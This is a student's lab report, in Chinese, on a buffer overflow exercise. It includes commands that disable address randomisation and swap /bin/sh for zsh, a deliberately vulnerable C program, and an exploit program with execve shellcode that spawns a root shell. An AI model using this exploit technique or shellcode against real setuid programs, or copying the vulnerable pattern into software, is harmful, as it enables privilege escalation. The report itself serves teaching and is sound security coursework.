緩衝區溢位
阿新 • • 發佈:2020-10-12
#20181216安全程式設計技術緩衝區溢位選做題
課程:《安全程式設計技術》
班級: 1812
姓名: 楊越麒
學號:20181216
實驗教師:婁嘉鵬
實驗日期:2020年10月11日
## 1.實驗內容 本次實驗要求使用實驗樓網站做一個緩衝區溢位的實驗,實驗步驟在實驗樓的提示中都有
## 2. 實驗過程及結果
1. 實驗樓提供的是 64 位 Ubuntu linux,而本次實驗為了方便觀察彙編語句,我們需要在 32 位環境下作操作,因此實驗之前需要做一些準備
sudo apt-get update sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev sudo apt-get install -y python3.6-gdbm gdb
2.關閉地址空間隨機化
sudo sysctl -w kernel.randomize_va_space=0
3.由於防範緩衝區溢位攻擊及其它利用shell程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙一個Set-UID程式呼叫一個shell,也不能在這個shell中保持root許可權,這個防護措施在/bin/bash中實現,所以我們使用zsh進行代替。
sudo su cd /bin rm sh ln -s zsh sh exit
4.編寫漏洞程式和攻擊程式
漏洞程式:
/* stack.c*/ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str);return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
攻擊程式:
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個位元組覆蓋sellcode地址 strcpy(buffer + 100, shellcode); //將shellcode拷貝至buffer,偏移量設為了 100 /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
注意上面的程式碼,\x??\x??\x??\x?? 處需要添上 shellcode 儲存在記憶體中的地址,因為發生溢位後這個位置剛好可以覆蓋返回地址。而 strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode 儲存在 buffer + 100 的位置。 然後通過gdb除錯和計算得到shellcode 儲存在記憶體中的地址
FFFFCFB0 + 64 = FFFFD014
攻擊結果:
練習:
由於打開了地址空間隨機化,所以後面不能攻擊了
## 3. 實驗過程中遇到的問題和解決過程
- 問題1:GDB沒有安裝
解決方案:裝一個 gdb:
`sudo apt-get install gdb`
## 感悟、思考 本實驗是一個緩衝區溢位攻擊的實驗,通過這個實驗我瞭解了緩衝區溢位的攻擊方法,為今後的網路攻防打下基礎。